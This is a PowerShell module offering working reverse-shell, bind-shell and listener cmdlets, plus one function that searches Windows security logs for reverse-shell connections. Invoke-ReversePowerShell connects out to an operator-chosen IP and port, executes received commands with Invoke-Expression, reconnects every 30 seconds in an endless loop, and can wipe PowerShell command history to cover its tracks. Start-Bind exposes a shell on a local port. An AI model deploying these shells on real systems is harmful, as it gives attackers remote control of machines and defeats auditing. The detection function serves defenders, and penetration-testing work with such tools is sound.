ReversePowerShell.psm1

<#
.NAME
    Start-Listener
 
 
.SYNOPSIS
    This cmdlet is for starting a listener that a reverse shell can attach too.
 
 
.DESCRIPTION
    The Start-Listener cmdlet opens a listner port to connect to from a target machine.
 
 
.SYNTAX
    Start-Listener [[-Port] <int32>]
 
 
.PARAMETERS
    -Port [<Int32>]
        This parameter is for defining the listening port to connect too.
        The cmdlet binds connections to the port that you specify.
 
        Required? false
        Position? 0
        Default value 1337
        Accept pipeline input? false
        Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Start-Listener -Port 1234
    This examples connects to a listener on port 1234.
 
    -------------------------- EXAMPLE 2 --------------------------
    Start-Listener
    This examples connects to a listener on port 1337.
 
 
.NOTES
    Author: Rob Osborne
    Alias: tobor
    Contact: rosborne@osbornepro.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
 
.LINK
    https://github.com/tobor88
    https://www.powershellgallery.com/profiles/tobor
    https://roberthosborne.com
 
#>

Function Start-Listener {
    [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')]
        param(
            [Parameter(
                Mandatory=$False,
                Position=0,
                ValueFromPipeline=$False,
                HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter
            [ValidateRange(1,65535)]
            [int32]$Port = 1337
        ) # End param

    Write-Verbose "Defining listener object"
    $Socket = New-Object -TypeName System.Net.Sockets.TcpListener('0.0.0.0', $Port);

    If ($Null -eq $Socket)
    {

        Exit

    } # End If

    $PortString = $Port.ToString()

    Write-Verbose "Starting listener on port $PortString and creating job to allow closing the connection"

    $Socket.Start()
    Write-Output ("Listening on [0.0.0.0] (port " + $Port + ")")
    While ($true)
    {

        Write-Verbose "Begin loop allowing Ctrl+C to stop the listener"
        If ($Socket.Pending())
        {

            $Client = $Socket.AcceptTcpClient()

            Break;

        }  # End If

        Start-Sleep -Seconds 1

     }  # End While

    Write-Output "[*] Connection Established."

    Write-Verbose "Creating byte stream"
    $Stream = $Client.GetStream()
    $Writer = New-Object -TypeName System.IO.StreamWriter($Stream)
    $Buffer = New-Object -TypeName System.Byte[] 2048
    $Encoding = New-Object -TypeName System.Text.AsciiEncoding

    Write-Verbose "Begin command execution loop"
    Do
    {

        $Command = Read-Host

        $Writer.WriteLine($Command)
        $Writer.Flush();

        If ($Command -eq "exit")
        {

            Write-Verbose "Exiting"
            Break

        }  # End If

        $Read = $Null

        While ($Stream.DataAvailable -or $Null -eq $Read)
        {

            $Read = $Stream.Read($Buffer, 0, 2048)
            $Out = $Encoding.GetString($Buffer, 0, $Read)

            Write-Output $Out

        } # End While

    } While ($Client.Connected -eq $True) # End Do While Loop

    Write-Verbose "Terminating connection"
    $Socket.Stop()
    $Client.Close()
    $Stream.Dispose()
    Write-Verbose "Connection closed"

} # End Function Start-Listener



#-------------------------------------------------------------------------------------------------------------------
<#
.NAME
    Start-Bind
 
 
.SYNOPSIS
    This cmdlet is for binding the PowerShell application to a listening port.
 
 
.DESCRIPTION
    Start-Bind cmdlet opens a Bind Shell that attaches to PowerShell and listens on a port that you define.
 
 
.SYNTAX
    Start-Bind [[-Port] <int32>]
 
 
.PARAMETERS
    -Port [<Int32>]
        This parameter is for defining the listening port that PowerShell should attach too
        The cmdlet binds powershell to the port that you specify.
 
            Required? false
            Position? 0
            Default value 1337
            Accept pipeline input? false
            Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Start-Bind -Port 1234
    This examples connects powershell.exe to a listener on port 1234.
 
    -------------------------- EXAMPLE 2 --------------------------
    Start-Bind
    This examples connects powershell.exe to a listener on port 1337.
 
 
.NOTES
    Author: Rob Osborne
    ALias: tobor
    Contact: rosborne@osbornepro.com
    https://roberthsoborne.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
 
.LINK
    https://github.com/tobor88
    https://www.powershellgallery.com/profiles/tobor
    https://roberthosborne.com
 
#>

Function Start-Bind {
    [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')]
        param(
            [Parameter(
                Mandatory=$False,
                Position=0,
                ValueFromPipeline=$False,
                HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter
            [ValidateRange(1,65535)]
            [int32]$Port = 1337
        )  # End param

        $PortString = $Port.ToString()
        Write-Verbose "Creating listener on port $PortString"
        $Listener = [System.Net.Sockets.TcpListener]$Port
        Write-Output "[*] PowerShell.exe is bound to port $PortString"
        $Listener.Start()

        While ($True)
        {

            Write-Verbose "Begin loop allowing Ctrl+C to stop the listener"
            If ($Listener.Pending())
            {

                $Client = $Listener.AcceptTcpClient()

                Break;

            }  # End If

            Start-Sleep -Seconds 1

         }  # End While

        Write-Output "[*] Connection Established."
        $Stream = $Client.GetStream()

        Write-Verbose "Streaming bytes to PowerShell connection"
       [byte[]]$Bytes = 0..65535 | ForEach-Object -Process { 0 }
       $SendBytes = ([text.encoding]::ASCII).GetBytes("Logged into PowerShell as " + $env:USERNAME + " on " + $env:COMPUTERNAME + "`n`n")

       $Stream.Write($SendBytes,0,$SendBytes.Length)
       $SendBytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
       $Stream.Write($SendBytes,0,$SendBytes.Length)

        Write-Verbose "Begin command execution cycle"
       While (($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0)
       {

            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $Data = $EncodedText.GetString($Bytes, 0, $i)

            Try
            {

                $SendBack = (Invoke-Expression -Command $Data 2>&1 | Out-String)

            }  # End Try
            Catch
            {

                Write-Output "Failure occured attempting to execute the command on target."

                $Error[0] | Out-String

            }  # End Catch

            Write-Verbose "Initial data send failed. Attempting a second time"
            $SendBack2  = $SendBack + 'PS ' + (Get-Location | Select-Object -ExpandProperty 'Path') + '> '
            $x = ($Error[0] | Out-String)
            $Error.clear()
            $SendBack2 = $SendBack2 + $x

            $SendByte = ([text.encoding]::ASCII).GetBytes($SendBack2)
            $Stream.Write($SendByte, 0, $SendByte.Length)
            $Stream.Flush()

        }  # End While

        Write-Verbose "Terminating connection"
        $Client.Close()
        $Listener.Stop()
        Write-Verbose "Connection closed"

}  # End Function Start-Bind



#-------------------------------------------------------------------------------------------------------------------
<#
.NAME
    Invoke-ReversePowerShell
 
 
.SYNOPSIS
    This cmdlet is for connecting PowerShell to a listening port on a target machine.
    This function is NOT able to connect to the Start-Bind cmdlet in this module.
 
 
.DESCRIPTION
    Connect to a lsitening port on a remote machine to complete a reverse shell.
 
 
.SYNTAX
    Invoke-ReversePowerShell [-IpAddress] <string> [[-Port] <int32>]
 
 
.PARAMETERS
    -IpAddress [<String>]
        This parameter is for defining the IPv4 address to connect too on a remote machine
        The cmdlet looks for a connection at this IP address on the remote host.
 
        Required? true
        Position? 0
        Default value none
        Accept pipeline input? false
        Accept wildcard characters? false
 
    -Port [<Int32>]
        This parameter is for defining the listening port to attach too on a remote machine
        The cmdlet looks for a connection on a remote host using the port that you specify here.
 
        Required? false
        Position? 1
        Default value 1337
        Accept pipeline input? false
        Accept wildcard characters? false
 
    -ClearHistory [<SwitchParameter>]
        This switch parameter is used to attempt clearing the PowerShell command history upon exiting a session
 
        Required? false
        Position? named
        Default value false
        Accept pipeline input? false
        Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Invoke-ReversePowerShell -IpAddress 192.168.2.1 -Port 1234 -ClearHistory
    This examples connects to port 1234 on remote machine 192.168.2.1
 
    -------------------------- EXAMPLE 2 --------------------------
    Invoke-ReversePowerShell 192.168.2.1 1337
    This examples connects to port 1337 on remote machine 192.168.2.1.
 
 
.NOTES
    Author: Rob Osborne
    ALias: tobor
    Contact: rosborne@osbornepro.com
    https://roberthsoborne.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    None
 
 
.LINK
    https://github.com/tobor88
    https://www.powershellgallery.com/profiles/tobor
    https://roberthosborne.com
 
#>

Function Invoke-ReversePowerShell {
    [CmdletBinding()]
        param(
            [Parameter(
                Mandatory=$True,
                Position=0,
                ValueFromPipeline=$True,
                ValueFromPipelineByPropertyName=$True,
                HelpMessage="Enter the IP Address of the remote machine. Example: 10.10.14.21")] # End Parameter
            [ValidateNotNullorEmpty()]
            [IPAddress]$IpAddress,

            [Parameter(
                Mandatory=$False,
                Position=1,
                ValueFromPipeline=$False,
                HelpMessage="Enter the port number the remote machine is listening on. Example: 1234")] # End Parameter
            [ValidateNotNullorEmpty()]
            [ValidateRange(1,65535)]
            [int32]$Port = 1337,

            [Parameter(
                Mandatory=$False)]
            [Alias("C","Cls","Ch","Clear")]
            [switch][bool]$ClearHistory
        ) # End param

    Write-Verbose "Creating a fun infinite loop. - The Shadow King (Amahl Farouk)"
    $GodsMakeRules = "They dont follow them"

    While ($GodsMakeRules -eq 'They dont follow them')
    {

        Write-Verbose "Default error action is being defined as Continue"
        $ErrorActionPreference = 'Continue'

        Try
        {

            Write-Output "Connection attempted. Check your listener."

            $Client = New-Object System.Net.Sockets.TCPClient($IpAddress,$Port)
            $Stream = $Client.GetStream()

            [byte[]]$Bytes = 0..255 | ForEach-Object -Process {0}
            $SendBytes = ([Text.Encoding]::ASCII).GetBytes("Welcome $env:USERNAME, you are now connected to $env:COMPUTERNAME "+"`n`n" + "PS " + (Get-Location).Path + "> ")
            $Stream.Write($SendBytes,0,$SendBytes.Length);$Stream.Flush()

            While (($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0)
            {

                $Command = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Bytes,0, $i)

                If ($Command.StartsWith("kill-link"))
                {

                    If ($ClearHistory.IsPresent)
                    {

                        Write-Verbose "[*] Attempting to clear command history"

                        Clear-History
                        Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force

                    }  # End If

                    Write-Verbose "Closing client connection"
                    $Client.Close()
                    Write-Verbose "Client connection closed"
                    Exit

                } # End If
                Try
                {

                    # Executes commands
                    $ExecuteCmd = Invoke-Expression -Command $Command 2>&1 | Out-String
                    $ExecuteCmdAgain  = $ExecuteCmd + "PS " + (Get-Location).Path + "> "

                } # End Try
                Catch
                {

                    $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage
                    $ExecuteCmdAgain  =  "ERROR: " + $Error[0].ToString() + "`n`n" + "PS " + (Get-Location).Path + "> "

                } # End Catch

                $ReturnBytes = ([Text.Encoding]::ASCII).GetBytes($ExecuteCmdAgain)
                $Stream.Write($ReturnBytes,0,$ReturnBytes.Length)
                $Stream.Flush()

            } # End While

        } # End Try
        Catch
        {

            Write-Output "There was a connection error. Retrying occurs every 30 seconds"
            If ($Client.Connected)
            {

                If ($ClearHistory.IsPresent)
                {

                    Write-Verbose "[*] Attempting to clear command history"

                    Clear-History
                    Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force

                }  # End If

                Write-Verbose "Client closing"
                $Client.Close()
                Write-Verbose "Client connection closed"

            } # End If

            If ($ClearHistory.IsPresent)
            {

                Write-Verbose "[*] Attempting to clear command history"

                Clear-History
                Clear-Content -Path ((Get-PSReadlineOption).HistorySavePath) -Force

            }  # End If

            Write-Verbose "Begining countdown timer to reestablish failed connection"
            [int]$Time = 30
            $Length = $Time / 100

            For ($Time; $Time -gt 0; $Time--)
            {

                $Text = "0:" + ($Time % 60) + " seconds left"
                Write-Progress -Activity "Attempting to re-establish connection in: " -Status $Text -PercentComplete ($Time / $Length)
                Start-Sleep -Seconds 1

            }  # End For

        } # End Catch

    } # End While

} # End Function Invoke-ReversePowerShell

#-------------------------------------------------------------------------------------------------------------------
<#
.NAME
    Find-ReverseShell
 
 
.SYNOPSIS
    This cmdlet can be used to discover reverse shell connections from the past 24 hours. It will ignore connections from
    the user Paessler as PRTG uses a similar method for creating a TCP socket listener. This will not identify powercat.ps1
    reverse shell connections as those are created using a different method.
 
 
.DESCRIPTION
    Search the Windows Event Viewer for event id 4656 where a tcp listener was created and connected too.
    The appropriate logging will need to be enabled in the event viewer.
 
 
.PARAMETERS
    -ComputerName [<String>]
        This parameter is for helping to better define a connection you may want to look for. This parameter is currently
        not in use for this cmdlet.
 
            Required? false
            Position? 0
            Default value none
            Accept pipeline input? false
            Accept wildcard characters? false
 
    -Path [<String>]
        Specifies a path to one locations. Wildcards are not permitted.
 
        Required? false
        Position? 1
        Default value none
        Accept pipeline input? false
        Accept wildcard characters? false
 
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (https:/go.microsoft.com/fwlink/?LinkID=113216).
 
 
.SYNTAX
    Find-ReverseShell [-ComputerName <string>] [-FilePath <string>]
 
 
.EXAMPLE
    -------------------------- EXAMPLE 1 --------------------------
    Find-ReverseShell
        This example searches for connections from a remote host.
 
    -------------------------- EXAMPLE 2 --------------------------
    Find-ReverseShell -ComputerName Desktop01 -FilePath C:\Temp\log.evt
        This example searches the localhost for evidence of reverse shell connections built on connections to a tcp socket.
        It also saves the log file to C:\Users\<username>\AppData\Local\ReverseShell_Logs_2020.01.20.evt
 
 
.NOTES
    Author: Robert H. Osborne
    Alias: tobor
    Contact: rosborne@osbornepro.com
 
 
.INPUTS
    None
 
 
.OUTPUTS
    System.Diagnostics.Eventing.Reader.EventLogntLogRecord
    Find-ReverseShell returns System.Diagnostics.Eventing.Reader.EventLogRecord objects.
 
.LINK
    https://www.powershellgallery.com/profiles/tobor
    https://github.com/tobor88
    https://roberthosborne.com
 
#>

Function Find-ReverseShell {
    [CmdletBinding()]
        param(
            [Parameter(
                Mandatory=$False,
                Position=0,
                HelpMessage="Enter a hostname, FQDN, or an IPv4 address")]
            [string]$ComputerName = $env:COMPUTERNAME,

            [Parameter(
                Mandatory=$False,
                Position=1,
                HelpMessage="Enter the full path name to a .evt file. Example: C:\Temp\results.evt")]
            [string]$FilePath = "$env:LOCALAPPDATA\ReverseShell_Logs_" + (Get-Date -Format 'yyyy.MM.dd') + ".xml"
        ) # End param


    Write-Output "Checking for Reverse Shells that connect to a System.Net.Sockets.TcpListener object"
    $TcpListenerCheck = Get-WinEvent -LogName 'Security' -FilterXPath "*[System[EventID=4656 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name='SubjectUserName']!='paessler'] and EventData[Data[@Name='ObjectServer']='WS-Management Listener']]" -ErrorAction SilentlyContinue

    ## This part is a work in progress. Need to discover how to identify this connection.
    # Write-Output "Checking for a Reverse Shell created by a tool such as PowerCat that execute Reverse Shell commands as a process using WSMAN"
    # $PowerCatListenerCheck = Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4656 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name='ObjectName']='\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN'] and EventData[Data[@Name='SubjectUserName']!=`'$ComputerName$`']]" | Select Message | fl *

    If ($Null -ne $TcpListenerCheck)
    {

        Write-Verbose "Event was found"
        $TcpListenerCheck | Select-Object -Property *

        Write-Verbose "Building XML file"
        $TcpListenerCheck.ToXml() | Out-File -FilePath $FilePath

        Write-Output "Reverse Shell check has completed. A reverse shell has been discovered to exist from the last 24 hours.`n`n$FilePath contains the related events in XML format."

    }  # End If
    Else
    {

        Write-Output "No Reverse shells have been discovered to exist in the last 24 hours."

    }  # End Else

} # End Function Find-ReverseShell

# SIG # Begin signature block
# MIIFqQYJKoZIhvcNAQcCoIIFmjCCBZYCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR
# AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUO14/NM4Fh5gf81FsVyftlcKk
# L4mgggM8MIIDODCCAiCgAwIBAgIQYFQwLhutS7lNh5moK8BttzANBgkqhkiG9w0B
# AQsFADAiMSAwHgYDVQQDDBdyb3Nib3JuZUBvc2Jvcm5lcHJvLmNvbTAeFw0yMDAz
# MTMyMjU2MjZaFw0yMTAzMTMyMzE2MjZaMCIxIDAeBgNVBAMMF3Jvc2Jvcm5lQG9z
# Ym9ybmVwcm8uY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAucWj
# mMM8tYpBCLl+z1Q1xThCZhFrpQ8deiGrRN4zyVu9lBAZGFeQdAZDRhGoB7tuBc87
# p/NrLdgJ+7O8ZQOr+BsAHermyamcoSpzASkM6NvPfL3XdmEnQ9CrKHxJyyELYwSi
# TYZGE4/T6DHqgfPR4BBKxVnkd+I4CRvgHLeBh6hKll2jAIc18U0rmTePqYzpmBIX
# cfPz+csHovh1BjdSMzJwvgSrBRs5r919F2Eq+FonzbAlDDdSyLc474FUNn5nAkHM
# z3jhsj4gIqlV01MR7A3IE7/KaNE/AdA4U57d9glNr0ak5AfkdR5IR0rrm0bB3N6I
# xdJfiRRPclqVGnDD9QIDAQABo2owaDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAww
# CgYIKwYBBQUHAwMwIgYDVR0RBBswGYIXcm9zYm9ybmVAb3Nib3JuZXByby5jb20w
# HQYDVR0OBBYEFEfj/QMM2rvYqNn7iRDgC8SSBfmdMA0GCSqGSIb3DQEBCwUAA4IB
# AQA7A226Sy/QERa7s+gy2ujaFlqRqIZeTCJHMARp74rG6rw/ummfXFbJg2tjY+oa
# 8Owo6CMcLVMmXGV3gRn1uwvCVubOJpnIZl4q+wdXrppMC/PGeY2ZEGgJmaMUPe0Y
# RjISywCkE90eJY4xCYiswGWqLt7jP6L7Svl+79EkfcPlclHjVe4B9CT+Tdp5U8rJ
# +PAirzcTHw19CQ3Vk9PxpIr2UsNu/JGQ9zGvYzIBwFxiw9lRnQCAJLiCXCPhf5fB
# pbhRS/F7Sa4ZlcZORItK9A1M+WmD0Kxoq1teoKqs1zng/mWn0xgNvS2Jf/eSugEE
# pBnZp/WhIGvH7eb/zIewwo5kMYIB1zCCAdMCAQEwNjAiMSAwHgYDVQQDDBdyb3Ni
# b3JuZUBvc2Jvcm5lcHJvLmNvbQIQYFQwLhutS7lNh5moK8BttzAJBgUrDgMCGgUA
# oHgwGAYKKwYBBAGCNwIBDDEKMAigAoAAoQKAADAZBgkqhkiG9w0BCQMxDAYKKwYB
# BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAjBgkqhkiG9w0B
# CQQxFgQUDCRDuNa5Y/P4Qm9ZECX1UqNMhhowDQYJKoZIhvcNAQEBBQAEggEAiGUJ
# pJnlk+uOr6sze0THS+RQ3ppZpP572EM/moPWTa8xutd+LDqcnm54fZiqMF2f58ET
# UGIMOUuqcFMgx+oZKGfoDiYa7mQ3BfqD96zNF9rKwGGvIBPwXzDC5rXnSEqA4crp
# GDg1yhZGIt63ldEsCal1cZAEXVdVGVj2D0niFcj9oj0e6utJDcX8FufV/SlHpgeT
# X0wkhh6YnJ2mNAtMaghLkhabFfNcg+mmgSz2CZWlh7lejo5jdZ8xYS33Vy4ob1Hl
# jwktZEDDydWRsRBett0XnYs4IYjasffzrgrWzeOgZCfx219imE5hK5pHChHbo0JE
# q5pw22K8zhtEa24SeQ==
# SIG # End signature block